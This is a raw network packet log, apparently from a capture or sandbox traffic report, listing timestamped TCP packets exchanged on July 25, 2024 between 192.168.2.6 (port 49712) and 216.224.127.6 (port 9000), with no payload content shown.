Jul 25, 2024 13:23:22.979381084 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.980194092 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.980262041 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.980274916 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.980300903 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.982645035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.982657909 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.982706070 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.982768059 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.982806921 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.982831955 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.982842922 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.982881069 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.982980967 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.982991934 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.983004093 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.983015060 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.983026981 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.983043909 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.983077049 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.983108044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.983134031 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.983144999 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.983576059 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.983603001 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.983614922 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.983617067 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.983664036 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.983683109 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.983694077 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.983740091 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.994493961 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.994554043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.994565964 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.994601011 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.994693041 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.994704962 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.994716883 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.994729042 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.994759083 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.994784117 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.998866081 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.998879910 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.998891115 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.998902082 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.998914003 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.998924971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.998935938 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.998971939 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.999079943 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999093056 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999111891 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999120951 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.999123096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999135971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999166012 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.999202013 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.999347925 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999357939 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999368906 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999382019 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999386072 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.999393940 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999406099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999418020 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999424934 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.999429941 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999442101 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999447107 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.999454021 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999464989 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.999470949 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.999495029 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.001604080 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.001657009 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.001919985 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.001961946 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.001974106 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002003908 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.002054930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002065897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002098083 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.002244949 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002283096 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.002331972 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002345085 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002384901 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.002464056 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002475977 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002490044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002502918 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002521038 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.002540112 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.002640009 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002650976 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002665043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002676964 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002712965 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.002737045 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.002768993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002779007 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002791882 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002801895 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.002806902 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.002850056 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.003216982 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.003227949 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.003263950 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.010914087 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.010932922 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.010955095 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.010967970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.010979891 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.010992050 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.011004925 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.011013031 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.011056900 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.011137962 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.011149883 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.011174917 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.011272907 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.011286020 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.011298895 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.011311054 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.011312962 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.011322975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.011333942 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.011334896 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.011379957 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.011600018 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.011645079 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.061367035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061408043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061427116 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061439991 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061451912 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.061486959 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.061600924 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061611891 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061623096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061635971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061642885 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.061693907 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.061826944 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061840057 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061851025 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061861992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061867952 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.061907053 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.061964035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.061975002 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.062009096 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.066364050 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066399097 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066450119 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066459894 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066458941 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.066473007 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066493034 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.066574097 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066586971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066598892 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066616058 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.066627026 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066639900 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.066729069 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066742897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066766977 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.066865921 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066899061 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066904068 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.066910028 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066936970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.066948891 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.067851067 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.067903042 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.067914963 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.067917109 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.067944050 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.068001986 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.068042994 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.068053961 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.068079948 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.068085909 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.068135023 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.069557905 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.069588900 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.069602013 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.069632053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.069634914 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.069673061 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.069705963 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.069716930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.069729090 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.069739103 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.069761992 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.069783926 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.071352959 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.071388960 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.071403027 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.071429968 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.071492910 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.071505070 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.071516991 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.071528912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.071536064 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.071563005 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.081892014 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.081911087 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.081923008 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.081957102 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.081969976 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082025051 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.082026958 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082040071 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082067966 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.082103014 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082113981 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082180977 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.082433939 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082474947 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.082496881 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082509041 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082546949 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.082575083 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082664013 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082674980 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082688093 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082699060 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082699060 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.082722902 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.082899094 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082910061 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082921982 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082932949 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082940102 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.082947969 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082961082 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.082978010 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.082999945 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.083550930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.083594084 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.083609104 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.083620071 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.083657026 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.083723068 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.083736897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.083766937 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.083801031 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.083820105 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.083872080 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.086102962 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.086136103 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.086148977 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.086179018 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.086266994 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.086277962 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.086311102 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.086361885 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.086374044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.086397886 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.090199947 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.090215921 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.090228081 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.090238094 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.090250015 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.090256929 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.090260029 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.090272903 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.090284109 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.090295076 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.090298891 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.090305090 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.090317011 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.090328932 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.090346098 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.090372086 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.220685005 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.220716953 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.220729113 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.220766068 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.220779896 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.220804930 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.220863104 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.220894098 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.220906973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.220917940 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.220943928 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.220978975 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.221138000 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.221148968 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.221159935 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.221173048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.221185923 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.221198082 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.221209049 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.221245050 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.221371889 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.221384048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.221415043 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.221874952 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.221888065 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.221900940 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.221913099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.221949100 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.225172043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.225217104 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.225229025 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.225260973 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.225353003 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.225366116 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.225400925 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.230643988 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.230688095 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.230690956 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.230700970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.230745077 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.230803967 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.230813980 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.230824947 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.230859041 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.230923891 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.230962992 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.231019020 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.231029987 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.231040955 CEST	9000	49712	216.224.127.6	192.168.2.6
